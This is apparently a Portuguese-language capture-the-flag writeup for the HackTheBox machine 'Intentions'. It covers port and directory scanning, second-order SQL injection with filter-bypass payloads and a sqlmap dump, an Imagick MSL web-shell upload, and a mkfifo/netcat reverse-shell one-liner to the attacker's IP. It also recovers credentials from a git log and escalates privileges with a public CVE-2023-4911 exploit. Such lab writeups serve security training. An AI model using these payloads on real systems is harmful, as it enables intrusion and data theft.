Post

HackTheBox - Intentions Writeup

Intentions

Enumaration

Nmap

Vamos usar o nmap para descobrir quais as portas estão abertas e quais serviços estão disponíveis.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(c4st13l㉿0x00)-[~/HTB/Intentions]      
└─$ nmap -v -sV -sC -Pn 10.10.11.220 -T4

PORT   STATE SERVICE VERSION                                                                  
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:                                                                                
|   256 47:d2:00:66:27:5e:e6:9c:80:89:03:b5:8f:9e:60:e5 (ECDSA)                               
|_  256 c8:d0:ac:8d:29:9b:87:40:5f:1b:b0:a4:1d:53:8f:f1 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)                                                    
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-title: Intentions
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Temos duas portas abertas, 22 SSH e 80 HTTP.

Gobuster

Vamos usar o gobuster para tentar descobrir algo de interessante, já adiantando o único diretório que mais interessa nesse momento é o /js, os outros não conseguimos fazer muita coisa.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(c4st13l㉿0x00)-[~/HTB/Intentions]
└─$ gobuster dir -u http://10.10.11.220/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -t60
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.220/
[+] Method:                  GET
[+] Threads:                 60
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/gallery              (Status: 302) [Size: 322] [--> http://10.10.11.220]
/admin                (Status: 302) [Size: 322] [--> http://10.10.11.220]
/storage              (Status: 301) [Size: 178] [--> http://10.10.11.220/storage/]
/css                  (Status: 301) [Size: 178] [--> http://10.10.11.220/css/]
/js                   (Status: 301) [Size: 178] [--> http://10.10.11.220/js/]
/logout               (Status: 302) [Size: 322] [--> http://10.10.11.220]
/fonts                (Status: 301) [Size: 178] [--> http://10.10.11.220/fonts/]

De todos os arquivos listados, o que chama mais atenção é o admin.js, uma dica importante é sempre bom analisar o java script da página, pode conter informações importantes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(c4st13l㉿0x00)-[~/HTB/Intentions]
└─$ gobuster dir -u http://10.10.11.220/js/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -t60 -x js
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.220/js/
[+] Method:                  GET
[+] Threads:                 60
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              js
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.js                  (Status: 403) [Size: 162]
/login.js             (Status: 200) [Size: 279176]
/gallery.js           (Status: 200) [Size: 310841]
/admin.js             (Status: 200) [Size: 311246]
/app.js               (Status: 200) [Size: 433792]

Com essas informações vamos validar todas essas informações descobertas.

Port 80 - HTTP (nginx 1.18.0)

Na página inicial temos um campo de login e outro para se registrar.

image

Como não temos nenhuma credencial para autenticar na aplicação, vamos criar uma conta e analisar a aplicação.

image

Inicialmente vemos que se trata de uma aplicação bem simples de galeria de imagens.

image

Em porfile temos um campo de input aonde podemos inserir gêneros favoritos, como a própria aplicação já sugere: food, travel e nature.

image

Na aba Your Feed, teremos fotos relacionadas ao que escolhemos na aba profile.

image

Burp Suite

Vamos analisar essa requisição no burp para facilitar.

image

A resposta na aba feed seria dessa forma.

image

SQLinjection

Primeiro vamos precisar saber o número de colunas, para isso vamos usar order by, porem aqui temos que usar uma técnica de bypass. Você pode ver mais sobre isso aqui:

https://portswigger.net/support/sql-injection-bypassing-common-filters

image

Tivemos uma reposta success.

image

Então seguimos tentando descobrir o número de colunas.

1
2
3
4
5
6
')/**/ORDER/**/BY/**/1# true
')/**/ORDER/**/BY/**/2# true
')/**/ORDER/**/BY/**/3# true
')/**/ORDER/**/BY/**/4# true
')/**/ORDER/**/BY/**/5# true
')/**/ORDER/**/BY/**/6# false

Agora sabemos que temos 5 colunas, ele retorna um erro quando usamos order by 6.

image

Usando union select vamos descobrir a versão dessa banco de dados.

image

image

sqlmap

Podemos automatizar com sqlmap, devemos salvar a requisição da pagina genres e feed, a seguir informamos isso para o sqlmap, vai ser da seguinte forma:

1
sqlmap -r genres.req -p genres --second-req feed.req --tamper=space2comment --batch --level=5 --risk=3 -D intentions -T users --dump

Como resposta temos duas hash de usuários admin.

image

Exploitation

Antes de prosseguir para logar com o usuário steve, vamos analisar o arquivo admin.js que encontramos lá no inicio do nosso recon. Alguns comentários com informações importantes.

image

Até então tínhamos o conhecimento do endpoint /api/v1/, segundo o comentário acima vemos que existe /api/v2/.

image

Quando tentamos fazer login vemos que esse endpoint precisa de um campo chamado hash.

image

Conseguimos fazer login na aplicação usando o hash do usuário.

image

Outro comentário no arquivo admin.js que chama bastante atenção.

1
"The v2 API also comes with some neat features we are testing that could allow users to apply cool effects to the images. I've included some examples on the image editing page, but feel free to browse all of the available effects for the module and suggest some: https://www.php.net/manual/en/class.imagick.php"

Pesquisando no google nos deparamos com o seguinte site mostrado abaixo, seguindo passo a passo da explicação do artigo é possível conseguir uma reverse shell.

image

Reverse Shell com www-data

No seguinte endpoint devemos usar dois parâmetro, path e effect e o método POST.

image

Primeiro, precisamos criar uma imagem com um web shell, já que o MSL permite apenas trabalhar com imagens.

1
convert xc:red -set 'Copyright' '<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 9001 >/tmp/f");?>' shell.png

Segundo, vamos criar um arquivo MSL que copiará esta imagem do nosso servidor HTTP para um diretório web gravável. Sabendo disso no próprio burp vamos fazer algumas alterações para conseguir uma reverse shell, com base no artigo que encontramos no google.

image

Agora basta acessar o seguinte link para receber a conexão no netcat. http://10.10.11.220/shell.php

image

Shell com greg

Dentro do diretório da aplicação web encontramos uma pasta .git, porem temos que fazer download para nossa máquina local.

image

Primeiro temos que iniciar um servidor usando python no servidor.

1
2
www-data@intentions:~/html/intentions$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

A seguir usamos uma ferramenta git dumper para fazer download.

1
2
┌──(c4st13l㉿0x00)-[~/HTB/Intentions/src/.git]
└─$ /opt/git-dumper/git_dumper.py http://10.10.11.220:8000/.git ~/HTB/Intentions/src

Não foi muito difícil encontrar informações sensíveis, pois estava nos logs.

image image

1
greg:Gr3g1sTh3B3stDev3l0per!1998!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(c4st13l㉿0x00)-[~/HTB/Intentions]
└─$ ssh greg@10.10.11.220                                                                                                               

Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-76-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Oct 14 01:42:33 PM UTC 2023

  System load:           0.0615234375
  Usage of /:            58.5% of 6.30GB
  Memory usage:          8%
  Swap usage:            0%
  Processes:             225
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.220
  IPv6 address for eth0: dead:beef::250:56ff:feb9:4ec6

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

12 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
$ bash -i
greg@intentions:~$ id
uid=1001(greg) gid=1001(greg) groups=1001(greg),1003(scanner)

User flag xD

1
2
greg@intentions:~$ cat user.txt 
ddb577e240e6ff27b1edcaee4d037ca2

Privilege Escalation

CVE-2023-4911

Essa máquina está vulnerável a Looney Tunables, essa vulnerabilidade é um buffer overflow no GNU C library’s dynamic loader. A biblioteca GNU C (comumente chamada de glibc) é um componente fundamental da maioria dos sistemas operacionais Unix.

Para verificar se a máquina está vulnerável, posso executar o seguinte comando:

image

O segfault indica que é vulnerável.

Como a vulnerabilidade existe há apenas uma semana, novas explorações de prova de conceito (POC) ainda estão sendo lançadas. Neste ponto, a exploração com a qual tive mais sucesso vem do usuário do Twitter, bl4sty.

image

Ele fornece um script Python que irá:

  • Gere uma versão corrigida do glibc que executa um shell ao ser carregado.
  • Configure o ambiente para ativar o overflow.
  • Execute um binário SetUID su repetidamente até que um shell seja retornado.

Irei salvar uma cópia do gnu-acme.py na maquina da vitima.

Após executar o script ele começa a tentar explorar, mostrando “.” caracteres na parte inferior para mostrar tentativas fracassadas. Isso normalmente leva muito tempo, dependendo do hardware e da configuração do host. Depois de vários minutos, ele envia uma mensagem informando que possui um shell:

image

Flag root xD

image

Referência

https://www.darkreading.com/vulnerabilities-threats/looney-tunables-linux-flaw-sees-snowballing-proof-of-concept-exploits

https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

https://portswigger.net/support/sql-injection-bypassing-common-filters

This post is licensed under CC BY 4.0 by the author.